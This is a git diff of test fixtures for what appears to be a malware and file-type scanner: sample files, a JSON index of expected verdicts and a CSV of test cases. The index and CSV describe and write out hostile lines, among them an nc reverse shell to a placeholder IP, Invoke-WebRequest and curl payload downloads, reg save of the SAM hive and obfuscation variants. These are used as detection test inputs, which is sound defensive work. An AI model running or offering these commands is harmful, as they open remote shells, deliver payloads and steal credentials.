tests/samples/L5-002_upx_shell.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-003_double_upx.exe
Normal file
BIN
tests/samples/L5-003_double_upx.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-004_rwx_section.exe
Normal file
BIN
tests/samples/L5-004_rwx_section.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-007_garbage_section.exe
Normal file
BIN
tests/samples/L5-007_garbage_section.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-010_bad_mz.exe
Normal file
BIN
tests/samples/L5-010_bad_mz.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-011_truncated.exe
Normal file
BIN
tests/samples/L5-011_truncated.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-012_pe32.exe
Normal file
BIN
tests/samples/L5-012_pe32.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-013_pe64.exe
Normal file
BIN
tests/samples/L5-013_pe64.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-014_clean_tool.exe
Normal file
BIN
tests/samples/L5-014_clean_tool.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-016_zero_section.exe
Normal file
BIN
tests/samples/L5-016_zero_section.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-017_upx_rwx.exe
Normal file
BIN
tests/samples/L5-017_upx_rwx.exe
Normal file
Binary file not shown.
BIN
tests/samples/L5-018_debug_info.exe
Normal file
BIN
tests/samples/L5-018_debug_info.exe
Normal file
Binary file not shown.
BIN
tests/samples/NEG-001_clean.jpg
Normal file
BIN
tests/samples/NEG-001_clean.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 204 B |
BIN
tests/samples/NEG-002_clean.png
Normal file
BIN
tests/samples/NEG-002_clean.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 208 B |
BIN
tests/samples/NEG-003_clean.mp4
Normal file
BIN
tests/samples/NEG-003_clean.mp4
Normal file
Binary file not shown.
BIN
tests/samples/NEG-004_clean.docx
Normal file
BIN
tests/samples/NEG-004_clean.docx
Normal file
Binary file not shown.
BIN
tests/samples/NEG-005_clean.xlsx
Normal file
BIN
tests/samples/NEG-005_clean.xlsx
Normal file
Binary file not shown.
2
tests/samples/NEG-006_clean.pdf
Normal file
2
tests/samples/NEG-006_clean.pdf
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
%PDF-1.7
|
||||||
|
%%EOF
|
||||||
1
tests/samples/NEG-007_clean.java
Normal file
1
tests/samples/NEG-007_clean.java
Normal file
@@ -0,0 +1 @@
|
|||||||
|
public class Hello { public static void main(String[] args) { System.out.println("hello"); } }
|
||||||
5
tests/samples/NEG-008_clean.py
Normal file
5
tests/samples/NEG-008_clean.py
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
def main():
|
||||||
|
print('hello')
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
BIN
tests/samples/NEG-009_clean.zip
Normal file
BIN
tests/samples/NEG-009_clean.zip
Normal file
Binary file not shown.
BIN
tests/samples/NEG-010_clean.exe
Normal file
BIN
tests/samples/NEG-010_clean.exe
Normal file
Binary file not shown.
4
tests/samples/NEG-012_clean.csv
Normal file
4
tests/samples/NEG-012_clean.csv
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
id,name,value
|
||||||
|
1,Alice,100
|
||||||
|
2,Bob,200
|
||||||
|
3,Charlie,300
|
||||||
|
6
tests/samples/NEG-013_clean.eml
Normal file
6
tests/samples/NEG-013_clean.eml
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
From: user@company.com
|
||||||
|
|
||||||
|
To: me@company.com
|
||||||
|
|
||||||
|
Subject: 本周工作汇报
|
||||||
|
|
||||||
BIN
tests/samples/NEG-014_clean.dll
Normal file
BIN
tests/samples/NEG-014_clean.dll
Normal file
Binary file not shown.
BIN
tests/samples/NEG-015_clean.ttf
Normal file
BIN
tests/samples/NEG-015_clean.ttf
Normal file
Binary file not shown.
BIN
tests/samples/NEG-016_clean.dwg
Normal file
BIN
tests/samples/NEG-016_clean.dwg
Normal file
Binary file not shown.
BIN
tests/samples/NEG-017_4layer_nested.zip
Normal file
BIN
tests/samples/NEG-017_4layer_nested.zip
Normal file
Binary file not shown.
4
tests/samples/NEG-018_clean.bat
Normal file
4
tests/samples/NEG-018_clean.bat
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
@echo off
|
||||||
|
echo Backing up files...
|
||||||
|
copy D:\data E:\backup
|
||||||
|
echo Done.
|
||||||
1
tests/samples/NEG-019_clean.ps1
Normal file
1
tests/samples/NEG-019_clean.ps1
Normal file
@@ -0,0 +1 @@
|
|||||||
|
Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status
|
||||||
BIN
tests/samples/NEG-020_clean.odt
Normal file
BIN
tests/samples/NEG-020_clean.odt
Normal file
Binary file not shown.
347
tests/samples/_index_backup_pre_csv.json
Normal file
347
tests/samples/_index_backup_pre_csv.json
Normal file
@@ -0,0 +1,347 @@
|
|||||||
|
{
|
||||||
|
"total": 34,
|
||||||
|
"generated_at": "2026-10-27T18:42:30.316542",
|
||||||
|
"samples": [
|
||||||
|
{
|
||||||
|
"category": "畸形文件",
|
||||||
|
"expected_verdict": "pass",
|
||||||
|
"expected_rules": [],
|
||||||
|
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
|
||||||
|
"filename": "broken.zip",
|
||||||
|
"size": 125
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "ISO镜像",
|
||||||
|
"expected_verdict": "suspicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)",
|
||||||
|
"filename": "evil.iso",
|
||||||
|
"size": 32775
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "CHM帮助",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"ChmWithScript"
|
||||||
|
],
|
||||||
|
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
|
||||||
|
"filename": "evil_help.chm",
|
||||||
|
"size": 1691
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Linux可执行",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"LinuxExecutable"
|
||||||
|
],
|
||||||
|
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
|
||||||
|
"filename": "linux_malicious",
|
||||||
|
"size": 71
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "LOLBin",
|
||||||
|
"expected_verdict": "suspicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)",
|
||||||
|
"filename": "lolbin.cmd",
|
||||||
|
"size": 114
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Office宏",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"VBAAutoExecShell",
|
||||||
|
"VBAAutoExec"
|
||||||
|
],
|
||||||
|
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
|
||||||
|
"filename": "macro_alert.docm",
|
||||||
|
"size": 2586
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Linux后门",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"DesktopFileAutoExec"
|
||||||
|
],
|
||||||
|
"description": ".desktop 文件恶意 Exec 字段",
|
||||||
|
"filename": "malicious.desktop",
|
||||||
|
"size": 114
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "PDF载荷",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"PdfJavaScript",
|
||||||
|
"PdfOpenAction"
|
||||||
|
],
|
||||||
|
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
|
||||||
|
"filename": "malicious.pdf",
|
||||||
|
"size": 534
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "挖矿",
|
||||||
|
"expected_verdict": "suspicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"C7_Linux_Miner_Generic"
|
||||||
|
],
|
||||||
|
"description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)",
|
||||||
|
"filename": "miner_config.json",
|
||||||
|
"size": 123
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "阴性对照",
|
||||||
|
"expected_verdict": "pass",
|
||||||
|
"expected_rules": [],
|
||||||
|
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
|
||||||
|
"filename": "normal.pdf",
|
||||||
|
"size": 439
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "阴性对照",
|
||||||
|
"expected_verdict": "suspicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)",
|
||||||
|
"filename": "normal_deploy.sh",
|
||||||
|
"size": 155
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "阴性对照",
|
||||||
|
"expected_verdict": "pass",
|
||||||
|
"expected_rules": [],
|
||||||
|
"description": "正常纯文本文件",
|
||||||
|
"filename": "normal_readme.txt",
|
||||||
|
"size": 162
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "阴性对照",
|
||||||
|
"expected_verdict": "pass",
|
||||||
|
"expected_rules": [],
|
||||||
|
"description": "正常 Word 文档(无宏、无外链)",
|
||||||
|
"filename": "normal_report.docx",
|
||||||
|
"size": 1212
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "OLE嵌入",
|
||||||
|
"expected_verdict": "pass",
|
||||||
|
"expected_rules": [
|
||||||
|
"OleToolsUnavailable"
|
||||||
|
],
|
||||||
|
"description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)",
|
||||||
|
"filename": "ole_dropper.doc",
|
||||||
|
"size": 1641
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "PE恶意程序",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"C1_PE_Downloader_Loader"
|
||||||
|
],
|
||||||
|
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
|
||||||
|
"filename": "pe_downloader.exe",
|
||||||
|
"size": 1148
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "PE恶意程序",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"C1_PE_ProcessInjection"
|
||||||
|
],
|
||||||
|
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
|
||||||
|
"filename": "pe_injection.exe",
|
||||||
|
"size": 1129
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "持久化",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"C7_Linux_Persistence_Crontab"
|
||||||
|
],
|
||||||
|
"description": "crontab 注入 wget/curl 下载执行",
|
||||||
|
"filename": "persist_cron.sh",
|
||||||
|
"size": 95
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "钓鱼邮件",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"EmailAttachmentDangerous",
|
||||||
|
"EmailAttachmentDisguised",
|
||||||
|
"EmailAttachmentWebshell",
|
||||||
|
"EmailPhishingKeyword"
|
||||||
|
],
|
||||||
|
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
|
||||||
|
"filename": "phishing.eml",
|
||||||
|
"size": 1869
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "伪装",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)",
|
||||||
|
"filename": "photo.jpg.php",
|
||||||
|
"size": 29
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "勒索",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"C8_Ransomware_Encryption"
|
||||||
|
],
|
||||||
|
"description": "加密 API + 卷影删除 + 勒索信文件名",
|
||||||
|
"filename": "ransom_dropper.exe.txt",
|
||||||
|
"size": 215
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "加密Office",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"OfficeEncrypted"
|
||||||
|
],
|
||||||
|
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
|
||||||
|
"filename": "sealed.docx",
|
||||||
|
"size": 6656
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "加密Office",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"OfficeEncrypted"
|
||||||
|
],
|
||||||
|
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
|
||||||
|
"filename": "sealed.xlsx",
|
||||||
|
"size": 6656
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Webshell",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)",
|
||||||
|
"filename": "shell_aspx.aspx",
|
||||||
|
"size": 169
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Linux后门",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"ShellScriptDangerous",
|
||||||
|
"C7_Linux_ReverseShell_Bash"
|
||||||
|
],
|
||||||
|
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
|
||||||
|
"filename": "shell_bash_devtcp.sh",
|
||||||
|
"size": 51
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Webshell",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"C3_JSP_Webshell_RuntimeExec"
|
||||||
|
],
|
||||||
|
"description": "JSP Runtime.getRuntime().exec 命令执行",
|
||||||
|
"filename": "shell_jsp_runtime.jsp",
|
||||||
|
"size": 316
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Linux后门",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"ShellScriptDangerous",
|
||||||
|
"C7_Linux_ReverseShell_NC"
|
||||||
|
],
|
||||||
|
"description": "nc -e /bin/bash 反弹 Shell",
|
||||||
|
"filename": "shell_nc.sh",
|
||||||
|
"size": 42
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Webshell",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"C3_PHP_Webshell_Oneliner"
|
||||||
|
],
|
||||||
|
"description": "PHP oneliner eval + echo 组合",
|
||||||
|
"filename": "shell_php_eval.php",
|
||||||
|
"size": 40
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Webshell",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"C3_PHP_Webshell_Obfuscated"
|
||||||
|
],
|
||||||
|
"description": "PHP base64 + assert 混淆",
|
||||||
|
"filename": "shell_php_obf.php",
|
||||||
|
"size": 61
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Linux后门",
|
||||||
|
"expected_verdict": "suspicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)",
|
||||||
|
"filename": "shell_python.py",
|
||||||
|
"size": 211
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "LNK",
|
||||||
|
"expected_verdict": "suspicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)",
|
||||||
|
"filename": "shortcut.lnk",
|
||||||
|
"size": 143
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Office宏",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"AttachedTemplate"
|
||||||
|
],
|
||||||
|
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
|
||||||
|
"filename": "template_backdoor.docx",
|
||||||
|
"size": 2176
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "Office宏",
|
||||||
|
"expected_verdict": "malicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"VBAAutoExecShell"
|
||||||
|
],
|
||||||
|
"description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)",
|
||||||
|
"filename": "vba_autoexec.bas",
|
||||||
|
"size": 98
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "WPS宏",
|
||||||
|
"expected_verdict": "malicious",
|
||||||
|
"expected_rules": [
|
||||||
|
"C7_Linux_ReverseShell_Bash",
|
||||||
|
"C7_Linux_ReverseShell_Misc",
|
||||||
|
"DangerousExecutableExtension"
|
||||||
|
],
|
||||||
|
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)",
|
||||||
|
"filename": "wps_macro.js",
|
||||||
|
"size": 142
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"category": "攻击载体",
|
||||||
|
"expected_verdict": "reject",
|
||||||
|
"expected_rules": [
|
||||||
|
"PathTraversal"
|
||||||
|
],
|
||||||
|
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
|
||||||
|
"filename": "zip_traversal.zip",
|
||||||
|
"size": 164
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
BIN
tests/samples/neg_tmp1.zip
Normal file
BIN
tests/samples/neg_tmp1.zip
Normal file
Binary file not shown.
126
用例.csv
Normal file
126
用例.csv
Normal file
@@ -0,0 +1,126 @@
|
|||||||
|
用例ID,用例名称,测试目标,样本描述,数量,预期结果,来源,归属
|
||||||
|
L0-001,正常文件幻数识别-JPG,校验真实文件类型识别能力,标准JPG图片,后缀=真实类型,1,L0命中,识别类型JPG,无风险,自备正常图片,L0
|
||||||
|
L0-002,正常文件幻数识别-PNG,校验真实文件类型识别能力,标准PNG图片,后缀=真实类型,1,L0命中,识别类型PNG,无风险,自备正常图片,L0
|
||||||
|
L0-003,正常文件幻数识别-DOCX,校验真实文件类型识别能力,标准docx文档,后缀=真实类型,1,L0命中,识别类型DOCX,无风险,Office自制,L0
|
||||||
|
L0-004,正常文件幻数识别-PDF,校验真实文件类型识别能力,标准PDF文档,后缀=真实类型,1,L0命中,识别类型PDF,无风险,LibreOffice自制,L0
|
||||||
|
L0-005,正常文件幻数识别-干净PE,校验真实文件类型识别能力,HelloWorld编译PE,后缀exe,1,L0命中,识别类型PE,标记危险可执行扩展名,自己编译C程序,L0
|
||||||
|
L0-006,后缀伪装:jpg后缀,实际PE幻数,识别后缀欺骗,文件名test.jpg,文件头MZ(PE),1,L0命中,告警【后缀伪装,真实类型PE】,高危,010Editor修改文件头,L0
|
||||||
|
L0-007,后缀伪装:txt后缀,实际PDF幻数,识别后缀欺骗,文件名readme.txt,文件头PDF,1,L0命中,告警【后缀伪装,真实类型PDF】,中危,010Editor修改文件头,L0
|
||||||
|
L0-008,后缀伪装:png后缀,实际ZIP幻数,识别后缀欺骗,文件名pic.png,文件头504B(ZIP),1,L0命中,告警【后缀伪装,真实类型ZIP】,中危,010Editor修改文件头,L0
|
||||||
|
L0-009,双扩展名伪装:report.pdf.exe,识别windows隐藏后缀欺骗,文件名report.pdf.exe,真实PE,1,L0命中,告警【双扩展名伪装,危险可执行后缀】,高危,自制重命名,L0
|
||||||
|
L0-010,双扩展名伪装:data.txt.ps1,识别windows隐藏后缀欺骗,文件名data.txt.ps1,纯文本ps1,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0
|
||||||
|
L0-011,双扩展名伪装:note.docx.js,识别windows隐藏后缀欺骗,文件名note.docx.js,js文本,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0
|
||||||
|
L0-012,双扩展名伪装:log.xlsx.bat,识别windows隐藏后缀欺骗,文件名log.xlsx.bat,bat文本,1,L0命中,告警【双扩展名伪装,危险脚本后缀】,高危,自制重命名,L0
|
||||||
|
L0-013,危险扩展名校验:ps1干净文本,危险扩展名标记,空ps1文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
|
||||||
|
L0-014,危险扩展名校验:bat干净文本,危险扩展名标记,空bat文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
|
||||||
|
L0-015,危险扩展名校验:cmd干净文本,危险扩展名标记,空cmd文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
|
||||||
|
L0-016,危险扩展名校验:vbs干净文本,危险扩展名标记,空vbs文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
|
||||||
|
L0-017,危险扩展名校验:js干净文本,危险扩展名标记,空js文本文件,1,L0命中,标记危险脚本扩展名,中危,新建文本改后缀,L0
|
||||||
|
L0-018,ZIP单级路径穿越:../test.txt,压缩包路径穿越检测,zip内文件名`../test.txt`,内容无害,1,L0命中,告警【压缩包路径穿越】,高危,Python zipfile脚本生成,L0
|
||||||
|
L0-019,ZIP多级路径穿越:../../a.txt,压缩包路径穿越检测,zip内文件名`../../a.txt`,内容无害,1,L0命中,告警【压缩包路径穿越】,高危,Python zipfile脚本生成,L0
|
||||||
|
L0-020,ZIP炸弹42.zip,zip炸弹识别,标准公开测试42.zip,1,L0命中,告警【zip炸弹,解压膨胀比异常】,高危,公开安全测试样本,L0
|
||||||
|
L0-021,自制小型zip炸弹(自定义高膨胀比),zip炸弹识别,自制小体积高膨胀zip,1,L0命中,告警【zip炸弹,解压膨胀比异常】,高危,Python脚本生成,L0
|
||||||
|
L0-022,3层无害嵌套ZIP,嵌套压缩解析,zip套zip套zip,内部无风险,1,L0识别多层嵌套,无告警,正常解析,手动打包,L0
|
||||||
|
L0-023,5层无害嵌套ZIP,嵌套压缩解析,5层嵌套压缩,内部无风险,1,L0识别多层嵌套,无告警,正常解析,手动打包,L0
|
||||||
|
L0-024,密码加密ZIP包,加密压缩识别,zip设置打开密码,内部干净文件,1,L0识别【加密压缩包】,策略可配置放行/告警,低危,压缩软件打包设密码,L0
|
||||||
|
L0-025,截断损坏ZIP头,畸形压缩容错,二进制截断zip文件头部,1,L0解析不崩溃,返回【压缩包损坏】,不阻断服务,010Editor截断二进制,L0
|
||||||
|
L0-026,损坏ZIP目录项,畸形压缩容错,zip目录项篡改,其余正常,1,L0解析不崩溃,返回【压缩包损坏】,不阻断服务,010Editor篡改二进制,L0
|
||||||
|
L0-027,超大文件名(255字符)压缩包内文件,文件名边界校验,压缩包内文件名超长,1,L0正常解析,可按策略告警超长文件名,Python脚本生成,L0
|
||||||
|
L0-028,unicode特殊字符文件名压缩包,文件名编码容错,压缩包内文件名带中文、emoji、特殊unicode,1,L0正常解析文件名,不崩溃,Python脚本生成,L0
|
||||||
|
L0-029,空文件(0字节)后缀exe,0字节文件识别,0字节,后缀exe,1,L0识别真实类型未知,标记危险后缀,低危,新建0字节文件,L0
|
||||||
|
L0-030,多层嵌套+路径穿越组合压缩包,复合风险检测,嵌套zip内部包含../穿越文件名,1,L0命中,告警【压缩包路径穿越】,高危,Python脚本生成,L0
|
||||||
|
L1-001,EICAR标准测试串文本,基础签名命中,标准EICAR测试文件(行业无害测试串),1,L1命中,ClamAV识别EICAR测试病毒,高危,ClamAV官方clamav-testfiles,L1
|
||||||
|
L1-002,EICAR放入zip压缩包,压缩内EICAR递归扫描,zip打包EICAR文件,1,L1递归解析,命中EICAR,高危,自制打包EICAR,L1
|
||||||
|
L1-003,EICAR放入密码zip(加密),加密包内EICAR无法扫描,加密zip内含EICAR,1,L1无法解析加密内容,不命中,L0标记加密包,自制打包加密EICAR,L1
|
||||||
|
L1-004,EICAR放入docx内嵌(OLE),文档内嵌EICAR递归扫描,docx OLE内嵌EICAR文本,1,L2解析OLE,L1命中EICAR,高危,Office自制嵌入,L1+L2
|
||||||
|
L1-005,修改1字节EICAR,破坏签名,签名匹配校验,EICAR串改动一个字符,破坏特征,1,L1不命中,无告警,手动修改EICAR文本,L1
|
||||||
|
L1-006,干净jpg图片(对照负样本),干净样本不误报,正常jpg图片,1,L1无命中,无风险,自备正常图片,L1
|
||||||
|
L1-007,干净docx文档(对照负样本),干净样本不误报,正常空白docx,1,L1无命中,无风险,Office自制,L1
|
||||||
|
L1-008,干净hello PE(对照负样本),干净样本不误报,无特征HelloWorld PE,1,L1无命中,无风险,自己编译,L1
|
||||||
|
L1-009,离线病毒库热加载-正常库,离线库更新能力,标准正常cvd/ndb病毒库文件,替换后扫描EICAR,1,热加载成功,扫描EICAR正常命中,ClamAV官方库文件,L1
|
||||||
|
L1-010,离线病毒库-损坏库文件,引擎容错降级,损坏的病毒库文件,启动扫描服务,1,引擎日志告警库损坏,引擎优雅降级,不崩溃,可配置策略放行/阻断,手动篡改库文件,L1
|
||||||
|
L1-011,EICAR放在多层嵌套zip,多层嵌套递归扫描,三层zip嵌套,最内层EICAR,1,L1递归扫描命中EICAR,高危,自制打包,L1
|
||||||
|
L1-012,EICAR base64编码文本,编码后EICAR特征,EICAR串base64编码放在txt,1,L1默认不命中(ClamAV不解码base64),记录边界,base64编码工具生成,L1
|
||||||
|
L1-013,超大文件内含EICAR,大文件扫描性能,100MB文本,末尾追加EICAR串,1,L1命中EICAR,统计扫描耗时,自制大文本,L1
|
||||||
|
L1-014,并发多EICAR样本压测,并发下引擎稳定性,同时提交10个EICAR文件,1,全部正常命中,无引擎卡死、内存泄漏,复制EICAR文件,L1
|
||||||
|
L1-015,ClamAV引擎关闭开关验证,分层开关控制,关闭L1,提交EICAR,1,L1不参与扫描,不命中,其余层级正常工作,复用EICAR样本,L1
|
||||||
|
L3-001,PS1明文:Invoke-WebRequest下载,明文高危串命中,ps1文本:`Invoke-WebRequest https://xxx -o payload.exe`,1,L3命中,告警【远程下载执行特征】,高危,手写文本,L3
|
||||||
|
L3-002,PS1明文:反弹shell nc,明文高危串命中,ps1文本:`nc 1.2.3.4 4444 -e cmd.exe`,1,L3命中,告警【反弹Shell特征】,高危,手写文本,L3
|
||||||
|
L3-003,bat明文:curl下载payload,明文高危串命中,bat文本:`curl http://xxx/payload -o evil.exe`,1,L3命中,告警【远程下载执行特征】,高危,手写文本,L3
|
||||||
|
L3-004,文本包含mimikatz关键字,凭据窃取特征命中,txt文本写入mimikatz,1,L3命中,告警【凭据窃取工具关键字】,高危,手写文本,L3
|
||||||
|
L3-005,文本包含reg save导出注册表,凭据导出特征命中,txt:`reg save HKLM\SAM sam.save`,1,L3命中,告警【凭据导出特征】,高危,手写文本,L3
|
||||||
|
L3-006,文本包含rdp、tscon劫持关键字,远程会话劫持特征,txt写入tscon、rdp相关关键字,1,L3命中,告警【远程会话劫持特征】,中危,手写文本,L3
|
||||||
|
L3-007,高危串base64编码放在txt,编码绕过测试,将Invoke-WebRequest整串base64编码,1,L3默认不命中(无解码逻辑),记录边界,base64工具编码,L3
|
||||||
|
L3-008,Powershell字符串拆分拼接绕过,字符串拆分绕过测试,`$a="Invo";$b="ke-WebRequest"`,1,L3默认不命中,记录绕过边界,手写ps1,L3
|
||||||
|
L3-009,高危串插入大量换行分割,换行分割绕过,`Invoke-Web`\n`Request`,1,L3根据是否开启多行匹配判定,记录结果,手写文本,L3
|
||||||
|
L3-010,高危串插入注释分割(powershell #注释),注释混淆绕过,`Invoke#test-WebRequest`,1,L3根据规则是否支持注释过滤判定,记录结果,手写ps1,L3
|
||||||
|
L3-011,高危串放js脚本内,多脚本类型匹配,js文本写入wget下载字符串,1,L3命中,告警远程下载特征,手写js,L3
|
||||||
|
L3-012,正常内网运维curl(白名单对照),正常业务不误报,bat:`curl http://192.168.1.100/file.zip`(内网示例地址),1,L3不命中,白名单放行,无告警,手写文本,L3
|
||||||
|
L3-013,正常scp内网传输脚本(负样本),合法运维命令不误报,bash脚本内网scp传输文件,1,L3不命中,无告警,手写文本,L3
|
||||||
|
L3-014,高危字符串放在zip内部txt,压缩包内文本递归匹配,zip打包包含L3-001的ps1,1,L3递归解析,命中告警,自制打包,L3
|
||||||
|
L3-015,高危字符串放在docx文本正文,文档文本匹配,docx正文写入Invoke-WebRequest,1,L3解析文档文本,命中告警,Office自制文档,L3
|
||||||
|
L3-016,空脚本文件(负样本),空文件不误报,空白ps1文本,1,L3无命中,无风险,新建文件,L3
|
||||||
|
L3-017,多条高危特征同文件复合,多特征同时命中,txt同时包含nc反弹+mimikatz,1,L3命中两条规则,输出全部命中项,手写文本,L3
|
||||||
|
